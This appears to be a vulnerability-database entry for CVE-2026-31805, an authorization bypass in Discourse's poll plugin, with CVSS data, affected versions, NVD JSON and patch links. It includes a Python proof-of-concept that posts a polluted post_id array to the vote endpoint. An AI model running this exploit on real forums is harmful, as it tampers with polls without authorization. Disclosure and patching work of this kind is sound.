Security Vulnerability Report
中文
CVE-2026-31805 CVSS 5.3 MEDIUM

CVE-2026-31805

Published: 2026-03-20 03:15:59
Last Modified: 2026-03-24 20:17:36

Description

Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, an authorization bypass in the poll plugin allowed authenticated users to vote on, remove votes from, or toggle the open/closed status of polls they did not have access to. By passing post_id as an array (e.g. post_id[]=&post_id[]=), the authorization check resolves to the accessible post while the poll lookup resolves to a different post's poll. This affects the vote, remove_vote, and toggle_status endpoints in DiscoursePoll::PollsController. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:* - VULNERABLE
Discourse < 2026.3.0-latest.1
Discourse < 2026.2.1
Discourse < 2026.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-31805 # Description: Exploit authorization bypass by passing post_id as an array. import requests def exploit_discourse_poll(target_url, session_cookie, target_post_id, poll_name, option_id): """ Attempts to vote on a poll without authorization using array parameter pollution. """ # Vulnerable endpoint for voting endpoint = f"{target_url}/polls/vote" # Headers with a valid user session (Authentication required as per description) headers = { "Cookie": f"_forum_session={session_cookie}", "Content-Type": "application/x-www-form-urlencoded" } # Payload: Passing post_id as an array to bypass authorization checks # The authorization check might validate an empty or accessible ID, # while the poll logic uses the target_post_id. data = { "post_id[]": ["", str(target_post_id)], "poll_name": poll_name, "option_id": str(option_id) } try: response = requests.post(endpoint, headers=headers, data=data) if response.status_code == 200: print("[+] Request sent successfully. Check if vote was registered.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage configuration TARGET = "http://localhost:3000" # Attacker's session cookie (Description states 'authenticated users') SESSION = "valid_session_cookie_here" TARGET_POST = "12345" # ID of the post containing the poll POLL = "poll_name" OPTION = "1" exploit_discourse_poll(TARGET, SESSION, TARGET_POST, POLL, OPTION)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31805", "sourceIdentifier": "[email protected]", "published": "2026-03-20T03:15:59.350", "lastModified": "2026-03-24T20:17:35.913", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, an authorization bypass in the poll plugin allowed authenticated users to vote on, remove votes from, or toggle the open/closed status of polls they did not have access to. By passing post_id as an array (e.g. post_id[]=&post_id[]=), the authorization check resolves to the accessible post while the poll lookup resolves to a different post's poll. This affects the vote, remove_vote, and toggle_status endpoints in DiscoursePoll::PollsController. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch."}, {"lang": "es", "value": "Discourse es una plataforma de discusión de código abierto. Antes de las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2, una omisión de autorización en el plugin de encuestas permitía a usuarios autenticados votar en, eliminar votos de, o alternar el estado abierto/cerrado de encuestas a las que no tenían acceso. Al pasar post_id como un array (p. ej., post_id[]=&amp;post_id[]=), la verificación de autorización se resuelve al post accesible mientras que la búsqueda de la encuesta se resuelve a la encuesta de un post diferente. Esto afecta a los endpoints vote, remove_vote y toggle_status en DiscoursePoll::PollsController. Las versiones 2026.3.0-latest.1, 2026.2.1 y 2026.1.2 contienen un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.1.0", "versionEndExcluding": "2026.1.2", "matchCriteriaId": "4BE96625-3609-410C-B41E-4A824C1A57C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026.2.0", "versionEndExcluding": "2026.2.1", "matchCriteriaId": "FD31CF04-CF2F-4FB9-8880-9243BC7671A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:discourse:discourse:2026.3.0:*:*:*:latest:*:*:*", "matchCriteriaId": "E3FE9277-4F6B-4FD0-991F-F0FB8D226E1C"}]}]}], "references": [{"url": "https://github.com/discourse/discourse/commit/1a6b3cdd8939053f485a60a6ea004a40878392c4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/discourse/discourse/security/advisories/GHSA-fgxm-prjv-g823", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}